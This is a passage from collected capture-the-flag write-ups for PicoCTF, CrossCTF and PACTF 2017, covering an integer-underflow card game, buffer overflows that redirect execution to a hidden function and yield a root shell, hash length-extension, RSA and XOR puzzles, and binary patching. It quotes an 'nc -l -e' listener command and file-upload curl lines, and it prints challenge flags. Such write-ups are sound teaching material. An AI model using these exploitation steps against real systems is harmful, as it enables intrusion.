gameData.deckSize--;
if(gameData.deckSize == 0){
printf("All card used. Card switching will be implemented in v1.0, someday.\n");
exit(0);
}
So, in this event, when we try to play a card, the memory region breaks because 0x0000000000000000
minus 1
= 0xffffffffffffffff
. Win.
0x601800 <gameData+128>: 0x00000000 0x00000000 0x41414141 0x41414141
0x601810 <gameData+144>: 0x41414141 0x41414141 0x41414141 0x41414141
0x601820 <gameData+160>: 0x41414141 0x41414100 0xffffffff 0xffffffff
0x601830 <gameData+176>: 0x00000000 0x00000000 0x1a000000 0x00000000
Theoretically, this means we are free to keep playing, since we are only limited by 100 coins or deck size of 26
which is now astronomically too big. So let's try to keep betting 1 till something happens. After the initial 26
cards, we are now left with 0 cards and this happens.
The opponent has a 0 of suit 0.
You have a 0 of suit 0.
You lost! :(
You have 73 coins.
How much would you like to bet?
Let's keep pushing. By now, we are accessing areas in the memory outside our actual decks, so we are bound to get crazy numbers like,
How much would you like to bet?
1
The opponent has a 0 of suit 0.
You have a 65 of suit 65.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.
You have 48 coins.
How much would you like to bet?
1
The opponent has a 0 of suit 0.
You have a 65 of suit 65.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.
You have 48 coins.
How much would you like to bet?
Let's keep going,
How much would you like to bet?
1
you bet 1.
The opponent has a 0 of suit 0.
You have a -1 of suit -68.
You lost! :(
Woah, negative numbers! Suddenly,
you bet 1.
The opponent has a 0 of suit 0.
You have a 13 of suit 0.
You won? Hmmm something must be wrong...
You actually won! Nice job
You have 22 coins.
How much would you like to bet?
Bingo. Now let's try to recoup our losses shall we! (Don't do this in real life, you will go bankrupt.)
You have 22 coins.
How much would you like to bet?
22
you bet 22.
The opponent has a 0 of suit 0.
You have a 9 of suit 2.
You won? Hmmm something must be wrong...
You actually won! Nice job
You have 44 coins.
How much would you like to bet?
44
you bet 44.
The opponent has a 0 of suit 0.
You have a 11 of suit 1.
You won? Hmmm something must be wrong...
You actually won! Nice job
You have 88 coins.
How much would you like to bet?
88
you bet 88.
The opponent has a 0 of suit 0.
You have a 11 of suit 3.
You won? Hmmm something must be wrong...
You actually won! Nice job
You have 176 coins.
How much would you like to bet?
176
you bet 176.
The opponent has a 0 of suit 0.
You have a 12 of suit 3.
You won? Hmmm something must be wrong...
You actually won! Nice job
You have 352 coins.
How much would you like to bet?
352
you bet 352.
The opponent has a 0 of suit 0.
You have a 13 of suit 1.
You won? Hmmm something must be wrong...
You actually won! Nice job
You won the game! That's real impressive, seeing as the deck was rigged...
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag.txt
war
war_no_aslr
xinetd_wrapper.sh
$ cat flag.txt
04ab44dab3330a7633d9956b789f2769
Therefore, the flag is 04ab44dab3330a7633d9956b789f2769
.
PicoCTF_2017: Missing Identity
Category: Master Points: 100 Description:
Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag.
Hint:
What file is this? What do you expect to find in the file structure? All characters in the file are lower case or numberical. There will not be any zeros.
Write-up
This seems to be a zip file, unzipped contents doesn't appear to contain flags, however we get an interesting error.
Archive: picoctf_2017_writeup/master/master_2/file
file #1: bad zipfile offset (local header sig): 0
Hmmm... Let's try to extract it with offsets
$ dd if=file of=flag.png bs=1 count=93628 skip=43
Now we get a black PNG file? Hmm... Courtesy of @zst123, apparently JD-GUI happens to fix archives too! Doing a rename on file
to file.zip
and running it through JD-GUI gives us the flag! Even though I'm sure that's cheating, heh!
Therefore, the flag is zippidydooda29494995
.
PicoCTF_2017: Lazy Dev
Category: Master Points: 50 Description:
I really need to login to this website, but the developer hasn't implemented login yet. Can you help?
Hint:
Where does the password check actually occur? Can you interact with the javascript directly?
Write-up
First, try attempting login.
Hm, ok, 1
is not the password. Let's try looking at Chrome's Developer's console.
Okay, so something is going on here... Can we try to change that false
to a true
? Taking a look into the client.js
implemented into the HTML seems to reveal that the developer, was indeed lazy! Badumtss~
//Validate the password. TBD!
function validate(pword){
//TODO: Implement me
return false;
As such, there is no correct password! Let's override the function in Chrome's Trusty Developer's console again, by simply replacing false, with true.
function validate(pword){
//TODO: Implement me
return true;
}
Now, clicking the button again, gives us,
Therefore, the flag is, client_side_is_the_dark_sidebde1f567656f8c9b654a1ec24e1ff889
. EZ Master.
CrossCTF 2017 Writeup
Where to begin? Well, I guess I'll begin right at the start before I even decided to join this competition. 2-3 months back before we even had the qualifiers, I tried to join CDDC 2017 but was rejected with an excuse of too many participants, so I turned to CrossCTF for my salvation.
Preliminiaries was marginally fun, with challenges from all categories and incorporating various techniques and vulnerabilities that I had not even heard of till this CTF, like SHA-256 collision. I learnt a lot and during those 48 hours, I tried my very best to bring my team up so we would qualify for the finals. As such, we came in 4th place, with the only uncompleted challenge being LeapFrog
.
Finals was intensely hard and difficult. Two contributing factors to that is the full-binary nature of it, coupled with the 24-hour marathon-style of the competition, so I had to deal with both binary, my weakest CTF category as well as the lack of sleep. Nevertheless, I tried my best and managed to secure the 7th place at 12pm, tieing in place with the 5th and 6th team from Nanyang Polytechnic.
Learnt much, got much to learn.
CrossCTF_2017: Internal Network Challenge
Category: Web Points: 10 Description:
We found out that winc0rp has an internal website hosted on this ip address. However, is it really internal? I heard the internal website is located at 'internal.proxy.winc0rp.com' Please find the internal website hosted on 128.199.98.78:8080
Write-up
VirtualHosts is a finnicky thing.
$ curl "http://128.199.98.78:8080" -H "Host: internal.proxy.winc0rp.com"
Flag is:
CrossCTF{B@sic_P3ntesting_Sk33ls_Requir3d}
Therefore, the flag is CrossCTF{B@sic_P3ntesting_Sk33ls_Requir3d}
.
CrossCTF_2017: complexpassword
Category: Misc Points: 5 Description:
We found out that evilc0rp has a password policy stating that passwords should:
- Contain upper case characters
- Contain lower case characters
- Contain digits
- Contain nonalphanumeric characters: (~!@#$%^&*_-+=`|(){}[]:;"'<>,.?/) However, it'd take too long to try every possible password in the password list we found. Can you help us develop a regex to find the correct passwords more efficiently? p.s. We need 6 of them and I think they use really strong passwords... Password list here Connect to 128.199.98.78:32768
Write-up
Just some nifty lookahead regex configuration and we have the flag.
$ nc 128.199.98.78 32768
We found out that evilc0rp has a password policy stating that passwords should:
- Contain upper case characters
- Contain lower case characters
- Contain digits
- Contain nonalphanumeric characters: (~!@#$%^&*_-+=`|\(){}[]:;"'<>,.?/)
However, it'd take too long to try every possible password in the password list we found.
Can you help us develop a regex to find the correct passwords more efficiently?
p.s. We need 6 of them and I think they use really strong passwords...
Regex: ^(?=.*[a-z])(?=.*[A-Z])(?=.*[~!@#$%^&*_\-+=`|(){}[\]:;"'<>,.?/])(?=.*[0-9]).{25,}$
Filtering passwords!...
1) Vixens.comreaper999MOR098GO
2) Tickled.comreaper999MOR098GO
3) Your_Guardian_Angel_050813
4) you_have_been_hacked_gWSxH1FZfr
5) weAaQIno0lhLHWsIfL9TQG30ZrI-~B
6) &&wdXWabuSc7&b*QDex_6B*5v?e8V
Congratulations! Here's your flag: CrossCTF{C0mPleX_P@s$w0rd_Is_G0oD!}
Therefore, the flag is CrossCTF{C0mPleX_P@s$w0rd_Is_G0oD!}
.
CrossCTF_2017: Paricle Collision Challenge
Category: Cryptography Points: 5 Description:
Our large hadron collider feeds off files that produces the same SHA1 hashsum value. Could you help us power up our collider? We will give you a flag in return! Our collider can be found at http://128.199.98.78:8081/
Hint:
The collider feeds on distinct pairs of files that produces the same SHA1 hashsum value. However, the collider only accepts files it hasn't seen before!
Write-up
This is a simple one, given that SHA1 is entirely broken and collisions are easily generated. For the purpose of this challenge, we will use a SHA1 collider, yielding two PDFs that result in the same hash.
Therefore, the flag is CrossCTF{P@rticl3_C0llid3d!}
.
CrossCTF_2017: Close Friends
Category: Cryptography Points: 20 Description:
Alice and Bob are very close friends. They share their secrets with each other and they do not want others to intercept it. So they decided to implement their own RSA to encrypt their messages. File here
Write-up
This is a Fermat's RSA attack challenge requiring us to use it's functions. Only doable in python
$ ./solve.py
Flag: CrossCTF{its_g00d_t0_hav3_c1o5e_friend5_i5nt_it}
Therefore, the flag is CrossCTF{its_g00d_t0_hav3_c1o5e_friend5_i5nt_it}
.
CrossCTF_2017: Finals Defense
Category: Finals Points: 10 Description:
Time to practice for the finals! Patch the binary so that the flag can't be printed. Remember to test it locally first with the following command! while true;do nc -l -p 9001 -e ./one done; File here
Write-up
An easy patching, just change the instructions at flag
to leave
& ret
. Too bad they don't check the binary thoroughly. LOL.
Therefore, the flag is CrossCTF{P@TCHING_IZ_E@SY}
.
CrossCTF_2017: Hannah
Category: Pwn Points: 15 Description:
The snake told Eve many lies. Please connect to 128.199.98.78:1701 File here
Write-up
Therefore, the flag is CrossCTF{wh4t_4r3_y0u_d01ng_t4lk1ng_4b0ut_3v3}
.
CrossCTF_2017: Go Deep
Category: Cryptography Points: 15 Description:
We intercepted this mystery message. Could you figure out what it is?
Write-up
A classic rabbit hole challenge where the organizers run out of ideas and decide to encode the flag behind layers of encodings.
$ ./solve.py
CrossCTF{I_5h@11_h1v3_70_90_d33p}
Therefore, the flag is CrossCTF{I_5h@11_h1v3_70_90_d33p}
.
CrossCTF_2017: Picasso
Category: Misc Points: 10 Description:
Picasso was a pretty good painter. But was he a good coder? File here
Write-up
We get a file that is primarily comprised of a single line of pixels, comprised of different lengths of pixels. Maybe we can count the number of similar pixels before it changes and take it's character representation?
$ ./solve.py
CrossCTF{175_P13T_N07_P1C@SS0}
Therefore, the flag is CrossCTF{175_P13T_N07_P1C@SS0}
.
CrossCTF_2017: Plebpwn
Category: Pwn Points: 10 Description:
Please pwn my plebian password program! Please connect to 128.199.98.78:1700 File here
Write-up
A case of a buffer overflow attack though not obvious. Firstly, analysing the executable tells us that the buffer is 0x40
bytes long but the read()
reads in 0x80
bytes. Trying to overflow 0x80
bytes crashes the application due to the overwriting of address of a string resulting in it crashing due to being unable to read from a location.
Therefore, the flag is CrossCTF{av01d_th0s3_cr4sh3s}
.
CrossCTF_2017:
Category: Misc Points: 5 Description:
We have intercepted secret messages but it seems like AAAAAAAAAAA to us. Can you help us? File here
Write-up
We are given a file with what appears to be a flag format but in really weird font. This reminded me of a childhood book I used to read about being a spy, so I search up pigpen cipher. Seems like this is is not the actual pigpen cipher but a variant of it by the knights. So we set out to decrypt it.
Apparently, CROSSCTF{LING_FOR_YOU}
is wrong, what's up with that?
Therefore, the flag is CROSSCTF{KING_FOR_YOU}
.
CrossCTF_2017: Salted Hash Challenge
Category: Web Points: 10 Description:
I've logged in with my admin credentials: Admin username: john Admin password: moreThan10CharPassword I am supposed to get have admin privileges, but the webpage keeps telling me I am not admin. I must have configured something wrongly, can you help me? Please find the website hosted on 128.199.98.78:32769/index.php
Write-up
A challenge on mysterious salts. For this challenge, we have no clue what the salt is so trying to bruteforce it is ridiculous. Let's try something new, also known as a Length Extension Attack on hashes.
We will be using Hashpump to help us on this one, credits to (@kaikai) for solving this originally before I reworked my solution to actually work.
$ ./solve.py
<h1>Admin</h1>Here's your flag: CrossCTF{thIs_H@5h_iz_5Alty}
Therefore, the flag is CrossCTF{thIs_H@5h_iz_5Alty}
.
CrossCTF_2017:
Category: Reverse Engineering Points: 25 Description:
Can you unravel the flag? File here
Write-up
Loading it up in something like Hopper, we get a pretty good glimpse of what we need to do, so we have to find the payload. Firstly, bastion
leads us to another pointer where we find our real payload, save for one character, which if we look further in ASM, we find 0x69
in crackme()
. Therefore, the full payload is 692A583744377420661D5C32066A132617791E41355D6E314236027647245953
, knowing that, we can xor every byte of the payload with the next byte to give us the flag.
0x69 ^ 0x2a = C
0x2a ^ 0x58 = r
...
Therefore, the flag is CrossCTF{An4ly51ng_th3_st4t1c}
.
CrossCTF_2017: Finals Attack
Category: Finals Points: 10 Description:
Time to practice for the finals! Write a python script that exploits the target at the domain 'challenge_runner'. Remember to test it locally first with the following command! while true;do nc -l -p 9001 -e ./one done; File here
Write-up
A really simple one, considering that the binary was buffer overflowable, we just have to do the same here for attacking.
Instead of running this, upload it into the server to get the flag.
Therefore, the flag is CrossCTF{EXPL01T1NG_M3_1Z_H@RD}
.
CrossCTF_2017:
Category: Reverse Engineering Points: 10 Description:
It's trivial, my dear Watson. File here
Write-up
We will be using uncompyle2 to decompile the given file to result in a source file. Analysing the code gives the formula to solve this challenge.
Therefore, the flag is CrossCTF{sadriain_9264656_AK4782}
.
CrossCTF_2017: BabyPS3
Category: Cryptography Points: 20 Description:
I recently got a copy of Halo 3 but I can't play it on my PS3. Can you help me? Connect to 188.166.248.56:3333
Write-up
Too lazy to bother.
$ ./solve.py
old r: 8364401571398143066067379848832222860350238338044007631845501169476969565354042348827510953570636425895903472238608899163183885897774120754022815911786614454751521200948493106100051182453792309994273741699405723553993280119266289830122800887605597062974073044056455422865019642516511150463131209185017276252730768642031806273589052297699065045727480856202106885620137935356265602818660316603596341682492900799655991550660716021966632062948661292904486441072144930435256059572212289575923014564617519015681505138522910053776611057691364353420488866594913192728932317406247662378788312109517026591273279758156601377346
new r: 65409437784982297110912581342752010737235883633264011939488505540228075281368
old s: 8491134928540539173129006816238771691567666191650735020206796641741772134526073293506715664988373341439780797575557518847474550835619183189689828274086411643459877582781046031950051957945516435903277889300911870880568935878649112403306479688932954594231255968966401717150853273463731016379239257809032689529287295439638348792885856120391475122177897232811229717220443055588936293770458200188499316556470065963287142937791938991996429518447883433706069568967177429381244787747548839417982454179232935970464558246682348084894438497959415328472314455482714907770279776760887778475436619868752133054777420360552913519427
new s: 71460979304995498564989090988448238723692184125856399038370248726828684133531
[+] Opening connection to 188.166.248.56 on port 3333: Done
Flag: CrossCTF{G30RG3_H0T7_W@S_G00D}
[*] Closed connection to 188.166.248.56 port 3333
Therefore, the flag is CrossCTF{G30RG3_H0T7_W@S_G00D}
.
CrossCTF_2017: GovTech Binary Challenge Level 1
Category: Binary Points: 75 Description:
I wonder what's happening in the class les! I have been waiting a really long time for this... File here
Write-up
This is a relatively simple challenge easily solvable through tools like JD-GUI. The flag for the first challenge is embedded in Main.class
and can be seen using $ strings Main.class
$ strings finals/govtech-binary-challenge-level-1_75/dist/Main.class
flag1
Ljava/lang/String;
<init>
Code
LineNumberTable
main
([Ljava/lang/String;)V
<clinit>
SourceFile
Main.java
'flag1{7171a60f8cf4a789b7fa5906aa78f3e7}
Main
java/lang/Object
xctf/NothingImportant
march_on
(Ljava/lang/String;)V
Therefore, the flag is flag1{7171a60f8cf4a789b7fa5906aa78f3e7}
.
CrossCTF_2017: GovTech Binary Challenge Level 2
Category: Binary Points: 100 Description:
There's more! File here.
Write-up
Utilizing the same binary as level 1, this can be solved through incorporating the usage of NothingImportant.class
through the usage of an external .java
class. However, this will take a long time and it's more efficient to transpile the code to remove all the sleep delays.
As such, I've come to use the hashlib
library in Python for ultra-efficient solving code.
CrossCTF_2017: Patching Frobnicator
Category: Defense Points: 150 Description:
Patch the frobnicator! Use the following command curl -v -F secretKey=@localFile 192.168.0.30:8080/api/frobnicator Binary to patch here
Write-up
Relatively simple to patch this one, as the vulnerability is spawned by a typo in the malloc. To solve, simply patch it by swapping the size argument of the magic()
function of 0x6020c0
and 0x6020b8
.
CrossCTF_2017: Sky Pillar 3
Category: Reverse Engineering Points: 300 Description:
192.168.0.31:1350 Please start from level 01
Write-up
This one requires more reverse engineering skill than the previous one. A pseudo-code is also helpful in this case.
In general, the objective is to get back to 0x8048b4a
with an eax
value of 1
. This means we have to get to 0x8048998
. In order to do that, we must travel down from 0x8048930
and in order to get to 0x8048930
, we need eax
to have a value of 2
such that it jumps from 0x8048906
. This means, our arguments has to have 5 values, all of which once magicked should have a value of 2
, 1
, 3
, 2
and 4
.
Now that we have the logistics out of the way, let's look at magic()
. After awhile of digging, it's just a glorified bit counter, counting the amount of 1
s in a character byte. As such, we can just replicate it in Python.
$ ./solve.py
Flag: 0 @ C D G
$ ./skypillar
Welcome to
______ __ __ __ __ ______ __ __ __ ______ ______
/\ ___\ /\ \/ / /\ \_\ \ /\ == \ /\ \ /\ \ /\ \ /\ __ \ /\ == \
\ \___ \ \ \ _"-. \ \____ \ \ \ _-/ \ \ \ \ \ \____ \ \ \____ \ \ __ \ \ \ __<
\/\_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \ \_____\ \ \_____\ \ \_\ \_\ \ \_\ \_\
\/_____/ \/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/\/_/ \/_/ /_/
================================================================================
Home of the legendary Pokemon, Rayquaza
================================================================================
There are 5 Levels to climb. Each level requires a specifc code to unlock the next level.
Your goal is to reach the top, and catch the legendary Rayquaza... Good luck!
====================================================================
LEVEL 01
====================================================================
Enter code: I w@nn@ be the very best
CrossCTF{xxxxxxxxxxxxxxxxx}
====================================================================
LEVEL 03
====================================================================
Enter Code: 0 @ C D G
CrossCTF{xxxxxxxxxxxxxxxxx}
Therefore, the flag is ``.
CrossCTF_2017: Transformer
Category: Binary Points: 100 Description:
192.168.0.31:10006 File here
Write-up
This is a really simple one and is easily defeated by nopping most parts of the binary. In this case, we can exploit this by buffer overflowing word 1 with 256
bytes of maximum bytes, followed by 4
bytes of junk, followed by 4
bytes of pointer pointing to stealth()
.
This can be automated with pwntools and Python
$ ./solve.py
[*] '/root/repos/crossctf_2017_writeup/finals/transformer_100/transformer'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting program './transformer': Done
[ERROR] Neither 'qemu-i386' nor 'qemu-i386-static' are available
[+] Are we r00ted?
[*] Switching to interactive mode
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
Therefore, the flag is ``.
CrossCTF_2017: Time To Take A Dump
Category: Hardware Points: 200 Description:
There seems to be something running on the FREE arduino! I wonder if I can talk to it...
Write-up
I'll start off by saying I have 0 experience with hardware and am a complete noob. However, I have Google. Firstly, we need to accomplish dumping the flash memory of the Arduino Mega, accomplishable through avrdude
.
Afterwards, we need to convert it to hexadecimal format for easier reading through using avr-objdump
. From there, we can see a few interesting strings, like a very sneaky fake flag, a string that suspiciously looks like an encoding table and the original encoded string. After a little bit of twiddling, it does seem like a base64
encoded string but not in the same form as the base64
we all know and love.
So, this is a case of custom base64
. Using a site recommended over at zst123's GitHub, we can decode the flag to CrossCTF{Bas364_1z_hard}
.
Therefore, the flag is CrossCTF{Bas364_1z_hard}
.
CrossCTF_2017: Patching transformer
Category: Defense Points: 100 Description:
Patch the broken transformer! Use the following command curl -v -F secretKey=@localFile 192.168.0.30:8080/api/transformer Binary to patch here
Write-up
This is a really simple one and is easily defeated by nopping most parts of the binary. In this case, we can exploit this by buffer overflowing word 1 with 256
bytes of maximum bytes, followed by 4
bytes of junk
, followed by 4
bytes of pointer pointing to stealth()
.
To patch, all we have to do is to NOP
either the scanf
operation or even hex edit stealth()
to immediately leave
& ret
. There's no fixed solution.
CrossCTF_2017: GovTech Web Challenge Level 1
Category: Web Points: 75 Description:
Here's a crypto warmup for you! Challenge here
Write-up
We are given a webpage with the strange encoded string BCBCBADABCABBABDBDCDBDBABCBBBCADBCCABBDDBAACBCABBDADBCBBADBABDDB
.
Like the qualifiers, this is a play on base-4 letters and we can solve this by translating this to base-4 numbers.
BCBCBADABCABBABDBDCDBDBABCBBBCADBCCABBDDBAACBCABBDADBCBBADBABDDB
1212103012011013132313101211120312201133100212011303121103101331
Then, we can whip out the snake in us and use it's ability to convert bases fluently.
$ ./solve.py
Flag: fLaG{tech_Base4}
Therefore, the flag is fLaG{tech_Base4}
.
CrossCTF_2017: Sky Pillar 4
Category: Reverse Engineering Points: 300 Description:
192.168.0.31:1350 Please start from level 01
Write-up
This one was the pinnacle of my reverse engineering skill. With a little luck, you would guess that this is related to Fibonacci numbers, unfortunately, I did not in time for competition, so I just transpiled everything into solve.c.
$ gcc solve.c && ./a.out
Currently on 584
Found! 584
$ ./skypillar
Welcome to
______ __ __ __ __ ______ __ __ __ ______ ______
/\ ___\ /\ \/ / /\ \_\ \ /\ == \ /\ \ /\ \ /\ \ /\ __ \ /\ == \
\ \___ \ \ \ _"-. \ \____ \ \ \ _-/ \ \ \ \ \ \____ \ \ \____ \ \ __ \ \ \ __<
\/\_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \ \_____\ \ \_____\ \ \_\ \_\ \ \_\ \_\
\/_____/ \/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/\/_/ \/_/ /_/
================================================================================
Home of the legendary Pokemon, Rayquaza
================================================================================
There are 5 Levels to climb. Each level requires a specifc code to unlock the next level.
Your goal is to reach the top, and catch the legendary Rayquaza... Good luck!
====================================================================
LEVEL 01
====================================================================
Enter code: I w@nn@ be the very best
CrossCTF{xxxxxxxxxxxxxxxxx}
====================================================================
LEVEL 03
====================================================================
Enter Code: 0 @ C D G
CrossCTF{xxxxxxxxxxxxxxxxx}
====================================================================
LEVEL 04
====================================================================
Enter Code: 584
CrossCTF{xxxxxxxxxxxxxxxxx}
Therefore, the flag is ``.
CrossCTF_2017: Sky Pillar 1
Category: Reverse Engineering Points: 100 Description:
192.168.0.31:1350 File here
Write-up
Looking in levelone()
, we find our hex-encoded passphrase in little endian, so we need to deal with that.
0x40772049
0x20406e6e
0x74206562
0x76206568
0x20797265
0x74736562
V
49207740
6e6e4020
62652074
68652076
65727920
62657374
Decoding it yields I w@nn@ be the very best
. Entering it into the server gives us the flag.
$ ./skypillar
Welcome to
______ __ __ __ __ ______ __ __ __ ______ ______
/\ ___\ /\ \/ / /\ \_\ \ /\ == \ /\ \ /\ \ /\ \ /\ __ \ /\ == \
\ \___ \ \ \ _"-. \ \____ \ \ \ _-/ \ \ \ \ \ \____ \ \ \____ \ \ __ \ \ \ __<
\/\_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \ \_____\ \ \_____\ \ \_\ \_\ \ \_\ \_\
\/_____/ \/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/\/_/ \/_/ /_/
================================================================================
Home of the legendary Pokemon, Rayquaza
================================================================================
There are 5 Levels to climb. Each level requires a specifc code to unlock the next level.
Your goal is to reach the top, and catch the legendary Rayquaza... Good luck!
====================================================================
LEVEL 01
====================================================================
Enter code: I w@nn@ be the very best
CrossCTF{xxxxxxxxxxxxxxxxx}
Therefore, the flag is ``.
CrossCTF_2017: Patching Secrit Donut Tuch
Category: Defense Points: 150 Description:
Patch the secrit-binary-dunut-tuch! Use the following command curl -v -F secretKey=@localFile 192.168.0.30:8080/api/secrit_binary_donut_tuch Binary to patch here
Write-up
This one is an extension of Patching transformer as it can be solved in a similar way. The key idea is simple, to convert all the JNE
symbols to JMP
symbols to skip the section of code that will print the flag.
CrossCTF_2017: GovTech Web Challenge Level 2
Category: Web Points: 100 Description:
This is a game of Tic-Tac-Toe. There are some messages encoded in Tic-Tac-Toe format. Please help us decipher it! Challenge here
Write-up
This challenge has to be done after level 1, since you need to use the flag from the first one as the passphrase for level 2.
The clues given as using XOR to derive the hexadecimal ASCII representation of the flag. As we are given 12 pairs of tic-tac-toe tables, we can derive the length of the flag, which is 12. Additionally, from correctly trying to parse the puzzle, we actually arrive at an incorrect flag.
47 6f 76 54 65 63 68 7b 41 46 43 7d
GovTech{AFC}
As such, what our team decided to do, is the bruteforce the 26^3
possiblities of the flag, which turned out to be GovTech{ABC}
.
Therefore, the flag is GovTech{ABC}
.
PACTF 2017 Writeup
So, just another writeup and yet another reflection. Bartik was rather easy and fun though quite a troll round. Boole was harder than Bartik and that it also had binaries compiled for the latest versions of GLIBC that I didn't bother to install. In a nutshell, I didn't finish the binaries because I was way too lazy to install the dependencies.
PACTF_2017: Quantum Theory
Category: Points: 40 Description:
(S//REL) TURMOIL or LPT, LPT-D, what else can you kludge for tipping… cough… [FLAG REDACTED] […] (TS//SI//REL) QUANTUMINSERT HTML Redirection
Hint:
My igloo is leaking!
Write-up
Another challenge that challenges your Googling ability, and logical thinking. Read upon Page 5 of this PDF.
Therefore, the flag is NINJANIC
.
PACTF_2017: Open Sourcery 2
Category: Points: 40 Description:
There are many strings in the source code of the latest Google Chrome. Some of the strings contain pactf. Find the one that starts with i, ends with e, and also contains the letter v.
Hint:
Maybe you could get the source from the binary. But what’s this relationship between Chrome and Chromium I heard? Also, just so you know, this flag doesn’t have the string flag in or around it.
Write-up
Just some tough Googling.
Therefore, the flag is impactfestival.be
.
PACTF_2017: Exploring The Binary
Category: Points: 10 Description:
Why doesn’t this file print!! Did I forget to put in the print statement when I compiled?
Hint:
Write-up
Preliminary testings immediately gave me the flag. Huh.
$ strings /Users/Amos/Repositories/pactf_2017_writeup/boole/exploring-the-binary/a.out | grep flag
flag_1297831859
Therefore, the flag is flag_1297831859
.
PACTF_2017: Zeroes and Ones
Category: Points: 30 Description:
Bit String Flicking How many solutions are there for X in the expression: LCIRC -3 (01011 AND X OR 10100) = 01101
Hint:
Try simplifying it?
Write-up
Simplification of strings!
LCIRC -3 (01011 AND X OR 10100) = 01101
Since LCIRC refers to circulating bits to the left, we have to recirculate to the right by 3.
(01011 AND X OR 10100) = 10101
Now, to solve for permutations of x, we need to see which bits can be changed without affected the results.
(01011 AND XXXXX OR 10100) = 10101
^ ^
As two bits can be changed, total solutions equals 2*2
Therefore, the flag is 4
.
PACTF_2017: Hash Killer
Category: Points: 60 Description:
Qu’est que c’est? We were clearing out the old server and came across a really weird file…
Hint:
Did someone say MD5? And that last line seems different from the rest…
Write-up
Firstly, all the lines except the last one can be cracked as MD5, returning us decoded_hashes.txt. Looks like we have a hint regarding the last line, let's see.
8fc42c6ddf9966db3b09e84365034357 MD5 : the
c47d187067c6cf953245f128b5fde62a MD5 : word
424149e499a7cb738810dc0e537c8490 MD5 : 'AES'
0800fc577294c34e0b28ad2839435945 MD5 : hash
a2a551a6458a8de22446cc76d639a9e9 MD5 : is
8fc42c6ddf9966db3b09e84365034357 MD5 : the
3c6e0b8a9c15224a8228b9a98ca1531d MD5 : key
AES
md5summed returns 76b7593457e2ab50befe2dcd63cf388f
. Let's try making a Pythonic decrypter.
$ ./solve.py
flag{w3_l0v3_3ncrypt10n}
Therefore, the flag is flag{w3_l0v3_3ncrypt10n}
.
PACTF_2017: Remember MD5?
Category: Points: 40 Description:
Remember md5? Oh. Those good old days of md5 and huge rainbow tables. I get nostalgic just thinking about it. Well, you can’t use one of those to break my password. It still isn’t very secure though. I only used my favorite characters ‘a’, ‘b’, and ‘c’. I remember it being about 14 characters long. The hash is 1b657b7fe26eda5b3c1309d340f1674d.
Hint:
When all else fails, try brute force.
Write-up
Bruteforcing with Python!
Therefore, the flag is abbabcbabcbabcb
.
PACTF_2017: XOR 2
Category: Points: 40 Description:
Miles just sent me a really cool article to read! Unfortunately, he encrypted it before he sent it to me. Can you crack the code for me so I can read the article? Article.txt.
Hint:
Did you know that in typical English writing, a character is the same as the one k characters in front of it about 8% of the time, regardless of k?
Write-up
A hint of repeated XOR, done easily through XORTool.
$ xortool -x -b -m 1000 Article.txt
$ grep -R 'flag' -i xortool_out/
Binary file xortool_out//000.out matches
xortool_out//032.out:There are infinitely many even numbers, too, but they re much more common: exactly 500 out of the first 1,000. In fact, it s pretty apparent that out of the first X numbers, just about (1/2)X will be even. The flag is primes_are_cool.
Therefore, the flag is primes_are_cool
.
PACTF_2017: XOR 1
Category: Points: 20 Description:
My friend Miles sent me a secret message. He said he encoded it with an XOR cipher. Can you figure out what his message “KGZFK\qZFG]qA\qZFOZ” means?
Hint:
The key is only one digit long
Write-up
Given that the key is only one digit long, we can easily bruteforce this with a simple Python script.
$ ./solve.py
...
`lqm`wZqmlvZjwZqmdq
gkvjgp]vjkq]mp]vjcv
fjwkfq\wkjp\lq\wkbw
either_this_or_that
dhuids^uihr^ns^ui`u
{wjv{lAjvwmAqlAjvj
zvkwzm@kwvl@pm@kw~k
...
Therefore, the flag is either_this_or_that
.
PACTF_2017:
Category: Points: Description:
You can solve this. You will lose 20 points. But a much more valuable problem will be unlocked.
Hint:
The flag is not the flag. At least it seems that way.
Write-up
The flag is not the flag
.
PACTF_2017: Synesthesia
Category: Points: 60 Description:
Yatharth just dropped his fire new mixtape, but the last track is somewhat of a mystery. It’s called ‘See the Sound,’ and no one really knows what to make of it. (seethesound.wav)[seethesound.wav]
Hint:
Look at it!
Write-up
Using something like Sonic Visualiser, all we have to do is add a spectrogram and the flag is revealed.
Therefore, the flag is just_like_batman
.
PACTF_2017: Time Travel
Category: Points: 20 Description:
Our website links to many web pages. Once upon a time, one of them displayed the flag.
Hint:
PACTF did not exist before 2015.
Write-up
One of the sites that displays information that long ago, is PACTF's StatusPage. Looking at the hint, the flag has to be after 2016, so we search. At the end of the day, we get,
Apr 8, 11:05 - 17:48 EDT
This issue has been resolved. We thank you for your patience.
Also, someone time traveled back here to give you this: FLAG_3NJIE9CLDIUEWD8K7T8JT2YRQP7D3762.
Therefore, the flag is FLAG_3NJIE9CLDIUEWD8K7T8JT2YRQP7D3762
.
PACTF_2017: Welcome to PACTF!
Category: Points: 10 Description:
Fill in this survey for bonus points! This information helps PACTF get better every year. Your responses will be kept completely confidential.
Hint:
Tell us what you think!
Write-up
Literally, free bonus points for doing a survey.
Therefore, the flag is bonus_points_ftw
.
PACTF_2017: ETA
Category: Points: 60 Description:
If this script were to finish, what would it output? MacOS Linux
Hint:
Try doing a bit of dynamic binary analysis. Read the registers!
Write-up
This challenge is much easier with a proper x64-86 decompiler like IDA or Hopper. The function we are looking at here, is the get_primes()
function.
int _Z10get_primesm(long arg0) {
var_38 = arg0;
var_40 = rsi;
rdi = var_38;
rax = std::vector<unsigned long, std::allocator<unsigned long> >::vector();
var_20 = operator new[]((var_40 >> 0x3) + 0x1);
rax = memset(var_20, 0xff, (var_40 >> 0x3) + 0x1);
for (var_28 = 0x2; var_28 <= var_40; var_28 = var_28 + 0x1) {
